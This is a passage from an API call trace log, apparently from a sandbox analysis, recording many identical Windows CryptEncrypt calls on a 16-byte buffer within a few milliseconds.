pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.780] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.781] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.782] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.783] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] 